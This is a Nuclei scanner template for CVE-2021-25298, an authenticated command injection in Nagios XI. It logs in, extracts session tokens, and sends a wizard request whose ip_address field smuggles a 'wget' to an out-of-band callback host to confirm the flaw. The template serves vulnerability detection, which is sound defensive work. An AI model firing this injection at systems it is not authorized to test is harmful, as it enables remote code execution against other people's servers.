86 lines
2.6 KiB
YAML
86 lines
2.6 KiB
YAML
id: CVE-2021-25298
|
|
|
|
info:
|
|
name: Nagios XI 5.5.6-5.7.5 - Authenticated Remote Command Injection
|
|
author: k0pak4
|
|
severity: high
|
|
description: |
|
|
Nagios XI 5.5.6 through 5.7.5 is susceptible to authenticated remote command injection. There is improper sanitization of authenticated user-controlled input by a single HTTP request via the file /usr/local/nagiosxi/html/includes/configwizards/cloud-vm/cloud-vm.inc.php. This in turn can lead to remote code execution, by which an attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
|
|
reference:
|
|
- https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md
|
|
- https://github.com/rapid7/metasploit-framework/pull/17494
|
|
- http://nagios.com
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-25298
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 8.8
|
|
cve-id: CVE-2021-25298
|
|
cwe-id: CWE-78
|
|
cpe: cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*
|
|
epss-score: 0.97373
|
|
metadata:
|
|
max-request: 4
|
|
shodan-query: title:"Nagios XI"
|
|
verified: "true"
|
|
tags: oast,authenticated,msf,cve,cve2021,nagiosxi,rce,kev
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /nagiosxi/login.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
- |
|
|
POST /nagiosxi/login.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
nsp={{nsp}}&pageopt=login&username={{username}}&password={{password}}
|
|
|
|
- |
|
|
GET /nagiosxi/index.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
- |
|
|
@timeout: 20s
|
|
GET /nagiosxi/config/monitoringwizard.php?update=1&nsp={{nsp_auth}}&nextstep=4&wizard=digitalocean&no_ssl_verify=1&ip_address=127.0.0.1%3b%20wget%20{{interactsh-url}}%3b HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
cookie-reuse: true
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: interactsh_protocol # Confirms the DNS Interaction
|
|
words:
|
|
- "dns"
|
|
|
|
- type: word
|
|
part: body_4
|
|
words:
|
|
- "Connection Information"
|
|
- "Host Check"
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: nsp
|
|
part: body
|
|
group: 1
|
|
regex:
|
|
- "name=['\"]nsp['\"] value=['\"](.*)['\"]>"
|
|
internal: true
|
|
|
|
- type: regex
|
|
part: body
|
|
name: nsp_auth
|
|
group: 1
|
|
regex:
|
|
- "var nsp_str = ['\"](.*)['\"];"
|
|
internal: true
|
|
|
|
# Enhanced by md on 2023/03/21
|